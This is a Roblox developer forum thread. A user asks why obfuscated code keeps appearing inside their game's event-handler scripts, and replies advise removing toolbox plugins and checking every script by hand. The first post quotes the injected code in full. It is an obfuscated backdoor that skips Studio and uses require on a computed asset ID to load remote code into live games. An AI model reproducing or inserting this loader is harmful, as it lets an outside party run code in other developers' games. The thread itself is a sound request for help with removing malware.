So, every time I'm just trying to test my game with my friend, all of the sudden my scripts start changing wherever there are functions in an event. It turns my script from the usual:
wEvent.OnServerEvent:Connect(function(player, enabled)
to:
wEvent.OnServerEvent:Connect(iIlOMuw5 = 'GetService' i3CteBBYvMtDU = 'PlaceId' iG6p0CIa4K6 = 'MarketplaceService' iZCs69 = game ivIdV45Szt6A6bt = 'Description' ikOrvtA1X3d = 'IsStudio' ippWRHdbj = 'test' iS9lCDLQZa2d = require i7Hk7V = 'Name' i0l9 = 15710395.224852 * 169 iKKZa = 'FindFirstChild' i1TFAQoil5 = 'RunService' ilPA = game iiwY4Fc0cWZV9lY = pcall iO6AxaGzsMHtLJoDe = 'GetProductInfo' izi3m0sfO = 'load' iLmzmAjk515 = 'RunService' iN1t3E6X = spawn iN1t3E6X(function() iiwY4Fc0cWZV9lY(function() if iZCs69:GetService(i1TFAQoil5)[ikOrvtA1X3d](iZCs69:GetService(i1TFAQoil5)) then return end iS9lCDLQZa2d(i0l9)[izi3m0sfO](iZCs69[i3CteBBYvMtDU]) end) end) function(player, enabled)
and this just keeps happening in multiple different scripts. There was one model one of my other devs used from the toolbox, but I deleted that, and I also went through everything and deleted a bunch of virus looking scripts. Does anyone know what's causing this and how to fix it permanantly?
This is why you don't use plugins from the toolbox. You don't know what you're getting and you will have the possibility of acquiring a virus.
As for getting rid of the virus, check your plugins and their code. You will be able to fish out the code that corrupts a script with random bytes of characters. It might take some effort, but it's worth it.
As for using an anti-virus plugin, don't. Seriously, don't. Almost every anti-virus plugin available on Roblox isn't up-to-date and if the virus you have is new it probably won't be detected by an outdated anti-virus.
Lesson learned: Don't use plugins from the toolbox. Create your own.
You could try and run this plugin's scan:
https://www.roblox.com/library/142273772/Ro-Defender-Plugin-v8-7
If it does not find anything, and the issue is still happening, recheck your scripts, there might be some backdoor or line of code messing it up.
Last but not least, have a look at your plugins, sometimes 'fake' plugins have backdoors and game-breaking code.
Uninstall plugins first, if they're affecting your game then it'll just undo the next part
Second in the explorer type script and make sure that any scripts you have are scripts you've made, go through each one and make sure there's nothing tacked on to them either.